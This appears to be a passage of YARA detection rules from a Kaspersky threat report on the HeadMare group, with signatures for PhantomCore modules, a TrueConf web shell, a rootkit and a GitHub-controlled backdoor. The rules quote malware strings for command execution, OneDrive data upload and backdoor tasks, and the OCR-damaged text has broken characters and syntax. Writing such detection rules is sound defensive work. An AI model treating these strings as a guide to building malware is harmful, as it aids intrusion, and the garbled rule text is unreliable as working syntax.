strings:

$al = "TrueConf Setup" wide

$a2 = "This installation was built with Inno Setup." wide
condition:

(uint16(0) == 0x5A4D) and (filesize > 20MB) and (all of them) and (pe.number_of_signatures == 0)

rule apt_HeadMare_PhantomCore_exchange
{
meta:
description = "Rule to detect PhantomCore exchange module used by HeadMare"
author = "Kaspersky ICS CERT"
copyright = "Kaspersky ICS CERT"
version = "1.0"
last_modified = "2026-08-02"
hash = "489f43be558b2679284ceabed7adc4f3"
strings:
$al = "graphi_exchange.dll" ascii
$a2 = "graphi-client/1.0" ascii
$b1 = "https://graph.microsoft.com/v1.0/me/drive/root:/" ascii
$b2 = ":/children?$select=name,id&amp;$top=200" ascii

$b3 = "offline_access Files.ReadWrite" ascii
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$b4 = "GRAPHI_INSECURE" ascii
$b5 = "\"@microsoft.graph.conflictBehavior\":\"replace\"}" ascii
$b6 = "https://login.microsoftonline.com/" ascii

condition:

(uint16(0) == 0x5A4D) and (any of ($a*)) and (3 of ($b*))

rule apt_HeadMare_PhantomCore_executor

meta:

description = "Rule to detect PhantomCore executor module used by HeadMare"

author = "Kaspersky ICS CERT"

copyright = "Kaspersky ICS CERT"

version = "1.0"

last_modified = "2026-08-02"

hash = "dd1fd2b459b97b7d59375cb8383cd19a"
strings:

$al = "graphi_reader.dll" ascii

$a2 = "Ainput_(.+)\\.txt$" ascii

$b1 = "output_" ascii

$b2 = "cmd_cmd_" ascii

$b3 ="cmd /c \"\"" ascii

$b4 = "error: failed to start cmd process" ascii

$b5 = "share" ascii

$b6 = "SysReadSvc" ascii

condition:
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20 (uint16(0) == 0x5A4D) and (filesize &It; 4MB) and (any of ($a*)) and (4 of ($b*))
21 }
1
2
rule apt_HeadMare_Fakel.ocale_webshell
3
{
4
meta:
5
description = "Rule to detect the HeadMare TrueConf web shell"
6
author = "Kaspersky"
7
copyright = "Kaspersky"
8
version = "1.0"
9
last_modified = "2026-08-04"
10
hash = "4d27b4eb1c5dbb3d8160f29b8119523¢"
11
strings:
12
$al = "X-Redirect-Bit" ascii wide nocase
13
$a2 = "tc_vcs_web_db_conn" ascii wide
14
$a3 = "user=postgres" ascii wide
15
$b1 = "UPL ok::" ascii wide
16
$b2 = "DWN fail nexs" ascii wide
17
$b3 = "DWN fail inv" ascii wide
18
condition:
19
(2 of ($a*)) or (2 of ($b*))
20
}
21
22

1 rule apt_HeadMare_TrueConf_Rootkit

Page 14 of 16



10

11

12

13

14

15

16

17

18

https://securelist.ru/tr/head-mare-targets-trueconf-server-with-phantomcore/116557 /

meta:

description = "Rule to detect the HeadMare rootkit installed on TrueConf servers"

author = "Kaspersky"

copyright = "Kaspersky"

version = "1.0"

last_modified = "2026-08-06"

hash = "aee9642b45b099cb7f3053b9b680b425"
strings:

$al = "PQconnectdb”

$a2 = "obfuscated_data"

$a3 = "install_hook"
condition:

(uint32(0) == 0x464c457f) and (filesize < 400000) and (all of them)

rule apt_HeadMare_Github_Backdoor

meta:
description = "Rule to detect the HeadMare backdoor with Github C2"
author = "Kaspersky"
copyright = "Kaspersky"
version = "1.0"

last_modified = "2026-08-06"
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9 hash = "43f435c3c437bc879a2d7d4634f43494"
10 hash = "c3a2abe8756910f42582b04a44ea3514"
11 strings:

12 $al = "cryptorScrypt"

13 $a2 = "execraw_task"

14 $a3 = "jitter_task"

15 $a4 = "upload_task"

16 $a5 = "exec_task"

17 $a6 = "react_comment"

18  condition:

19 (uint32(0) == 0x464c457f) and (filesize > 5000000) and (filesize < 10000000) and (4 of them)
20}

21

22

Source: https://securelist.ru/tr/head-mare-targets-trueconf-server-with-phantomcore/116557/
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